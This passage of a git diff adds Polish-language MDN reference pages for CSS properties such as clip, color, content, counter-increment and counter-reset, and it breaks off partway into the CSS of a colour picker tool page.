blokowych, przesuwa ona krawędź obramowania elementu w dół, dopóki nie znajdzie się pod krawędzią marginesu wszystkich danych elementów pływających. To przemieszczenie (kiedy ma miejsce) nie powoduje <a href="pl/CSS/Za%c5%82amanie_marginesu">załamania marginesu</a>.</p> + +<p>Kiedy odnosi się do elementów pływających, przesuwa <a href="pl/CSS/Kraw%c4%99dzie_elementu_blokowego">krawędź marginesu</a> tego elementu poniżej <a href="pl/CSS/Kraw%c4%99dzie_elementu_blokowego">krawędzi marginesu</a> wszystkich danych elementów pływających. Wpływa to na pozycję późniejszych elementów pływających, ponieważ te nie mogą być pozycjonowane wyżej niż poprzednie.</p> + +<p>Elementy pływające, na które wpływa własność <code>clear</code> są wcześniejszymi elementami pływającymi w tym samym <a href="pl/CSS/Blok_formatowania_kontekstu">bloku formatowania kontekstu</a>.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/REC-CSS1#clear">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-clear">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Mozilla</td> + <td>1</td> + </tr> + </tbody> +</table> + +<p> </p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("float") }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/clear", "fr": "fr/CSS/clear" } ) }}</p> diff --git a/files/pl/web/css/clip/index.html b/files/pl/web/css/clip/index.html new file mode 100644 index 0000000000..3ade3a5941 --- /dev/null +++ b/files/pl/web/css/clip/index.html @@ -0,0 +1,92 @@ +--- +title: clip +slug: Web/CSS/clip +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/clip +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność CSS <code>clip</code> określa, jaka część elementu jest widoczna.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: auto</li> + <li>Stosowana do: elementy pozycjonowane absolutnie</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: n/a</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: Dla wartości prostokątnych, prostokąt składający się z czterech wyliczonych długości, w innych przypadku - jako określone</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">clip: <shape> | auto | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{cssxref("<shape>")}}</dt> + <dd>określa kształt w formie <code>rect(<top>, <right>, <bottom>, <left>);</code></dd> + <dt>{{ Cssxref("auto") }}</dt> + <dd> </dd> + <dt>{{ Cssxref("inherit") }}</dt> + <dd> </dd> +</dl> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre> img.clip04 { + clip: rect(10px, 20px, 20px, 10px); + } +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/visufx.html#clip">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>7</td> + </tr> + <tr> + <td>Safari</td> + <td>1</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("overflow") }}, {{ Cssxref("position") }}</p> + +<p>{{ languages( { "en": "en/CSS/clip", "fr": "fr/CSS/clip" } ) }}</p> diff --git a/files/pl/web/css/color/index.html b/files/pl/web/css/color/index.html new file mode 100644 index 0000000000..20f670855e --- /dev/null +++ b/files/pl/web/css/color/index.html @@ -0,0 +1,62 @@ +--- +title: color +slug: Web/CSS/color +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/color +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><code>color</code> ustawia pierwszoplanowy kolor dla zawartości tekstowej elementu. +</p> +<ul><li> {{ Xref_cssinitial() }}: zależy od programu użytkownika +</li><li> Stosowana do: wszystkich elementów +</li><li> {{ Xref_cssinherited() }}: tak +</li><li> Procenty: niedostępne +</li><li> Media: {{ Xref_cssvisual() }} +</li><li> {{ Xref_csscomputed() }}: jako określone +</li></ul> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">color: <i>color</i> | inherit +</pre> +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3> +<dl><dt> color </dt><dd> Kolor może być określony zgodnie z poniższymi zasadami: +</dd></dl> +<ul><li> jako heksadecymalna (szesnastkowa) wartość RGB +</li><li> jako regularna wartość RGB lub RGBA {{ Fx_minversion_inline(3) }} +</li><li> jako regularna wartość HSL lub HSLA {{ Fx_minversion_inline(3) }} +</li><li> jako jedna z predefiniowanych nazw kolorów +</li></ul> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<p>Poniżej są wszystkie sposoby na zrobienie czerwonego tekstu w elemencie: +</p> +<pre class="eval">element { color: red } +element { color: #f00 } +element { color: #ff0000 } +element { color: rgb(255,0,0) } +element { color: rgb(100%, 0%, 0%) } +element { color: hsl(0, 100%, 50%) } {{ Fx_minversion_inline(3) }} +</pre> +<p>Jeśli chcesz uwzględnić wartość kanału alfa by uwzględnić przezroczystość, możesz użyć kolorów w formacie RGBA lub HSLA: +</p> +<pre class="eval">element { color: rgba(255, 0, 0, 0.5) } {{ Fx_minversion_inline(3) }} +element { color: hsla(0, 100%, 50%, 0.5) } {{ Fx_minversion_inline(3) }} +</pre> +<p>Oba powyższe przykłady definiują kolor z przezroczystością ustawioną na 0.5 lub 50%. +</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<ul><li> <a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a> +</li></ul> +<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3> +<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#color">CSS 1</a> +</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/colors.html">CSS 2.1</a> +</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#color">CSS 3</a> +</li></ul> +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/color", "es": "es/CSS/color", "fr": "fr/CSS/color", "ja": "ja/CSS/color" } ) }} diff --git a/files/pl/web/css/content/index.html b/files/pl/web/css/content/index.html new file mode 100644 index 0000000000..b9d75f21cc --- /dev/null +++ b/files/pl/web/css/content/index.html @@ -0,0 +1,107 @@ +--- +title: content +slug: Web/CSS/content +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/content +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <strong>content</strong> określa, co jest wyświetlane wewnątrz pseudoelementów :before i :after.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("normal") }}</li> + <li>Stosowana do: pseudoelementów {{ Cssxref(":before") }} i {{ Cssxref(":after") }}</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: wszystkie</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">content : normal | none | inherit | no-open-quote | no-close-quote ; +</pre> + +<pre class="eval">content : [ <string> | <counter> | attr(<identifier>) | <uri> + | open-quote | close-quote]+ ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{ Cssxref("none") }}</dt> + <dt>{{ Cssxref("normal") }}</dt> + <dt>{{cssxref("<string>")}}</dt> + <dt>{{cssxref("<uri>")}}</dt> + <dd>jeden lub więcej identyfikatorów URI odsyłających do zewnętrznego źródła, takiego jak obrazek.</dd> + <dt>{{cssxref("<counter>")}}</dt> + <dt>open-quote i close-quote</dt> + <dd>będzie to zamienione przez odpowiednie ciągi z własności 'quotes'.</dd> + <dt>no-open-quote i no-close-quote</dt> + <dd>zwiększa (zmniejsza) poziom zagnieżdżeń cytatów, ale nie dodaje żadnej zawartości.</dd> + <dt>attr(attribute-name)</dt> + <dd>będzie to zamienione przez wartość ciągu atrybutu węzła.</dd> +</dl> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre class="eval">q:lang { quotes: '"' '"' "'" "'" } +q:before { content: open-quote } +q:after { content: close-quote } +</pre> + +<pre class="eval">h1:before { + content: "Chapter: "; +} +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#content">W3C Cascading Style Sheets, level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/generate.html#content">W3C Cascading Style Sheets, level 2</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-content/#inserting3">W3C Cascading Style Sheets, level 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("quotes") }}</p> diff --git a/files/pl/web/css/counter-increment/index.html b/files/pl/web/css/counter-increment/index.html new file mode 100644 index 0000000000..00cdfff28b --- /dev/null +++ b/files/pl/web/css/counter-increment/index.html @@ -0,0 +1,67 @@ +--- +title: counter-increment +slug: Web/CSS/counter-increment +tags: + - CSS + - CSS List + - CSS Property +translation_of: Web/CSS/counter-increment +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>counter-increment</code> zwiększa wartość <a href="pl/Liczniki_CSS">liczników CSS</a> o podaną wielkość.</p> + +<ul> + <li>{{ Xref_cssinitial() }}:</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">counter-increment: [<identyfikator> <liczba całkowita>?]+ | inherit | none +</pre> + +<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2> + +<dl> + <dt>identyfikator</dt> + <dd>Nazwa licznika, którego wartość jest zwiększana.</dd> + <dt>integer</dt> + <dd>Wartość, która ma być dodana do licznika. Domyślnie 1.</dd> +</dl> + +<p>Można zwiększyć wartość dowolnej liczby liczników oddzielając wszystkie spacją.</p> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li><a href="pl/CSS/counter-reset">counter-reset</a> ustawia wartość danego <a href="pl/Liczniki_CSS">licznika CSS</a> na podaną</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>h1 { + counter-increment: rozdzial sekcja 2 strona; /* Zwiększa wartość liczników + rozdział i strona o 1, + oraz wartość licznika sekcja o 2 */ +} +</pre> + +<p>Powyższy zapis jest równoważny z:</p> + +<pre>h1 { + counter-increment: rozdzial 1 sekcja 2 strona 1; +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li> +</ul> diff --git a/files/pl/web/css/counter-reset/index.html b/files/pl/web/css/counter-reset/index.html new file mode 100644 index 0000000000..ff2fcd5b91 --- /dev/null +++ b/files/pl/web/css/counter-reset/index.html @@ -0,0 +1,66 @@ +--- +title: counter-reset +slug: Web/CSS/counter-reset +tags: + - CSS + - CSS List + - CSS Property + - Reference +translation_of: Web/CSS/counter-reset +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>counter-reset</code> ustawia wartość <a href="pl/Liczniki_CSS">liczników CSS</a>.</p> + +<ul> + <li>{{ Xref_cssinitial() }}:</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">counter-reset: [ <identyfikator> <liczba całkowita>? ]+ | inherit | none +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>identyfikator</dt> + <dd>Nazwa licznika, którego wartość jest ustawiana.</dd> + <dt>liczba całkowita</dt> + <dd>Wartość, którą ma przyjąć dany licznik przy każdym pojawieniu się danego elementu. Domyślnie 0.</dd> +</dl> + +<p>Można ustawić dowolną liczbę liczników oddzielając wszystkie spacją.</p> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li><a href="pl/CSS/counter-increment">counter-increment</a> zwiększa wartość danego <a href="pl/Liczniki_CSS">licznika CSS</a> o podaną wielkość.</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>h1 { + counter-reset: rozdzial sekcja 1 strona; /* Ustawia wartość liczników + rozdział i strona na 0, + oraz wartość licznika sekcja na 1 */ +} +</pre> + +<p>Powyższy zapis jest równoważny z:</p> + +<pre>h1 { + counter-reset: rozdzial 0 sekcja 1 strona 0; +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="pl/Liczniki_CSS">Liczniki CSS</a>, {{ Cssxref("counter-increment") }}</p> diff --git a/files/pl/web/css/css_colors/index.html b/files/pl/web/css/css_colors/index.html new file mode 100644 index 0000000000..48b67295d0 --- /dev/null +++ b/files/pl/web/css/css_colors/index.html @@ -0,0 +1,119 @@ +--- +title: CSS Colors +slug: Web/CSS/CSS_Colors +tags: + - CSS + - CSS Colors + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Color +--- +<div>{{CSSRef}}</div> + +<p><strong>CSS Colors</strong> is a module of CSS that deals with colors, color types and transparency.</p> + +<h2 id="Reference">Reference</h2> + +<h3 id="Properties">Properties</h3> + +<div class="index"> +<ul> + <li>{{cssxref("color")}}</li> + <li>{{cssxref("opacity")}}</li> +</ul> +</div> + +<h3 id="CSS_Data_Types">CSS Data Types</h3> + +<p>{{cssxref("<color>")}}</p> + +<h2 id="Guides">Guides</h2> + +<p><em>None.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Colors')}}</td> + <td>{{Spec2('CSS3 Colors')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'colors.html')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS1')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1")}}</td> + <td>3.0</td> + <td>3.5</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1")}}</td> + <td>6.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>In CSS, gradients aren't colors but <a href="/en-US/docs/Web/CSS/CSS_Images">images</a>.</li> +</ul> diff --git a/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html b/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html new file mode 100644 index 0000000000..7907144f10 --- /dev/null +++ b/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html @@ -0,0 +1,3241 @@ +--- +title: Narzędzie doboru kolorów +slug: Web/CSS/CSS_Colors/Narzedzie_doboru_kolorow +tags: + - CSS + - CSS Kolory + - HTML Kolory + - Narzędzia + - kolor + - kolory + - narzędzie + - narzędzie do wybierania kolorów + - wybieranie kolorów +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +<div style="display: none;"> +<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2> + +<h3 id="HTML_Content">HTML Content</h3> + +<pre class="brush: html notranslate"> <div id="container"> + <div id="palette" class="block"> + <div id="color-palette"></div> + <div id="color-info"> + <div class="title"> CSS Color </div> + </div> + </div> + + <div id="picker" class="block"> + <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div> + <div id="picker-samples" sample-id="master"></div> + <div id="controls"> + <div id="delete"> + <div id="trash-can"></div> + </div> + <div id="void-sample" class="icon"></div> + </div> + </div> + + <div id="canvas" data-tutorial="drop"> + <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" + data-max="20" data-sensivity="10"></div> + </div> + </div> + +</pre> + +<h3 id="CSS_Content">CSS Content</h3> + +<pre class="brush: css notranslate">/* + * COLOR PICKER TOOL + */ + +.ui-color-picker { + width: 420px; + margin: 0; + border: 1px solid #DDD; + background-color: #FFF; + display: table; + + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.ui-color-picker .picking-area { + width: 198px; + height: 198px; + margin: 5px; + border: 1px solid #DDD; + position: relative; + float: left; + display: table; +} + +.ui-color-picker .picking-area:hover { + cursor: default; +} + +/* HSV format - Hue-Saturation-Value(Brightness) */ +.ui-color-picker .picking-area { + background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; + + background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), + -o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); + + background-color: #F00; +} + +/* HSL format - Hue-Saturation-Lightness */ +.ui-color-picker[data-mode='HSL'] .picking-area { + background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, + hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), + -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); + background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, + hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), + -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); + background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, + hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), + -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); + background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, + hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), + -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); + background-color: #F00; +} + +.ui-color-picker .picker { + width: 10px; + height: 10px; + border-radius: 50%; + border: 1px solid #FFF; + position: absolute; + top: 45%; + left: 45%; +} + +.ui-color-picker .picker:before { + width: 8px; + height: 8px; + content: ""; + position: absolute; + border: 1px solid #999; + border-radius: 50%; +} + +.ui-color-picker .hue, +.ui-color-picker .alpha { + width: 198px; + height: 28px; + margin: 5px; + border: 1px solid #FFF; + float: left; +} + +.ui-color-picker .hue { + background: url("https://mdn.mozillademos.org/files/5701/hue.png") center; + background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); + background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); + background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); + background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%, + #00F 66.66%, #F0F 83.33%, #F00 100%); +} + +.ui-color-picker .alpha { + border: 1px solid #CCC; + background: url("https://mdn.mozillademos.org/files/5705/alpha.png"); +} + +.ui-color-picker .alpha-mask { + width: 100%; + height: 100%; + background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png"); +} + +.ui-color-picker .slider-picker { + width: 2px; + height: 100%; + border: 1px solid #777; + background-color: #FFF; + position: relative; + top: -1px; +} + +/* input HSV and RGB */ + +.ui-color-picker .info { + width: 200px; + margin: 5px; + float: left; +} + +.ui-color-picker .info * { + float: left; +} + +.ui-color-picker .input { + width: 64px; + margin: 5px 2px; + float: left; +} + +.ui-color-picker .input .name { + height: 20px; + width: 30px; + text-align: center; + font-size: 14px; + line-height: 18px; + float: left; +} + +.ui-color-picker .input input { + width: 30px; + height: 18px; + margin: 0; + padding: 0; + border: 1px solid #DDD; + text-align: center; + float: right; + + -moz-user-select: text; + -webkit-user-select: text; + -ms-user-select: text; +} + +.ui-color-picker .input[data-topic="lightness"] { + display: none; +} + +.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] { + display: none; +} + +.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] { + display: block; +} + +.ui-color-picker .input[data-topic="alpha"] { + margin-top: 10px; + width: 93px; +} + +.ui-color-picker .input[data-topic="alpha"] > .name { + width: 60px; +} + +.ui-color-picker .input[data-topic="alpha"] > input { + float: right; +} + +.ui-color-picker .input[data-topic="hexa"] { + width: auto; + float: right; + margin: 6px 8px 0 0; +} + +.ui-color-picker .input[data-topic="hexa"] > .name { + display: none; +} + +.ui-color-picker .input[data-topic="hexa"] > input { + width: 90px; + height: 24px; + padding: 2px 0; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +/* Preview color */ +.ui-color-picker .preview { + width: 95px; + height: 53px; + margin: 5px; + margin-top: 10px; + border: 1px solid #DDD; + background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); + float: left; + position: relative; +} + +.ui-color-picker .preview:before { + height: 100%; + width: 50%; + left: 50%; + top: 0; + content: ""; + background: #FFF; + position: absolute; + z-index: 1; +} + +.ui-color-picker .preview-color { + width: 100%; + height: 100%; + background-color: rgba(255, 0, 0, 0.5); + position: absolute; + z-index: 1; +} + +.ui-color-picker .switch_mode { + width: 10px; + height: 20px; + position: relative; + border-radius: 5px 0 0 5px; + border: 1px solid #DDD; + background-color: #EEE; + left: -12px; + top: -1px; + z-index: 1; + transition: all 0.5s; +} + +.ui-color-picker .switch_mode:hover { + background-color: #CCC; + cursor: pointer; +} + +/* + * UI Component + */ + +.ui-input-slider { + height: 20px; + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + -moz-user-select: none; + user-select: none; +} + +.ui-input-slider * { + float: left; + height: 100%; + line-height: 100%; +} + +/* Input Slider */ + +.ui-input-slider > input { + margin: 0; + padding: 0; + width: 50px; + text-align: center; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +.ui-input-slider-info { + width: 90px; + padding: 0px 10px 0px 0px; + text-align: right; + text-transform: lowercase; +} + +.ui-input-slider-left, .ui-input-slider-right { + width: 16px; + cursor: pointer; + background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; +} + +.ui-input-slider-right { + background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; +} + +.ui-input-slider-name { + width: 90px; + padding: 0 10px 0 0; + text-align: right; + text-transform: lowercase; +} + +.ui-input-slider-btn-set { + width: 25px; + background-color: #2C9FC9; + border-radius: 5px; + color: #FFF; + font-weight: bold; + line-height: 14px; + text-align: center; +} + +.ui-input-slider-btn-set:hover { + background-color: #379B4A; + cursor: pointer; +} + +/* + * COLOR PICKER TOOL + */ + +body { + max-width: 1000px; + margin: 0 auto; + + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + + box-shadow: 0 0 5px 0 #999; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none; + user-select: none; + +} + +/** + * Resize Handle + */ +.resize-handle { + width: 10px; + height: 10px; + background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat; + position: absolute; + bottom: 0; + right: 0; +} + +[data-resize='both']:hover { + cursor: nw-resize !important; +} + +[data-resize='width']:hover { + cursor: w-resize !important; +} + +[data-resize='height']:hover { + cursor: n-resize !important; +} + +[data-hidden='true'] { + display: none; +} + +[data-collapsed='true'] { + height: 0 !important; +} + +.block { + display: table; +} + + +/** + * Container + */ +#container { + width: 100%; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + + display: table; +} + +/** + * Picker Zone + */ + +#picker { + padding: 10px; + width: 980px; +} + +.ui-color-picker { + padding: 3px 5px; + float: left; + border-color: #FFF; +} + +.ui-color-picker .switch_mode { + display: none; +} + +.ui-color-picker .preview-color:hover { + cursor: move; +} + +/** + * Picker Container + */ + +#picker-samples { + width: 375px; + height: 114px; + max-height: 218px; + margin: 0 10px 0 30px; + overflow: hidden; + position: relative; + float: left; + + transition: all 0.2s; +} + +#picker-samples .sample { + width: 40px; + height: 40px; + margin: 5px; + border: 1px solid #DDD; + position: absolute; + float: left; + transition: all 0.2s; +} + +#picker-samples .sample:hover { + cursor: pointer; + border-color: #BBB; + transform: scale(1.15); + border-radius: 3px; +} + +#picker-samples .sample[data-active='true'] { + border-color: #999; +} + +#picker-samples .sample[data-active='true']:after { + content: ""; + position: absolute; + background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat; + width: 100%; + height: 12px; + top: -12px; + z-index: 2; +} + +#picker-samples #add-icon { + width: 100%; + height: 100%; + position: relative; + box-shadow: inset 0px 0px 2px 0px #DDD; +} + +#picker-samples #add-icon:hover 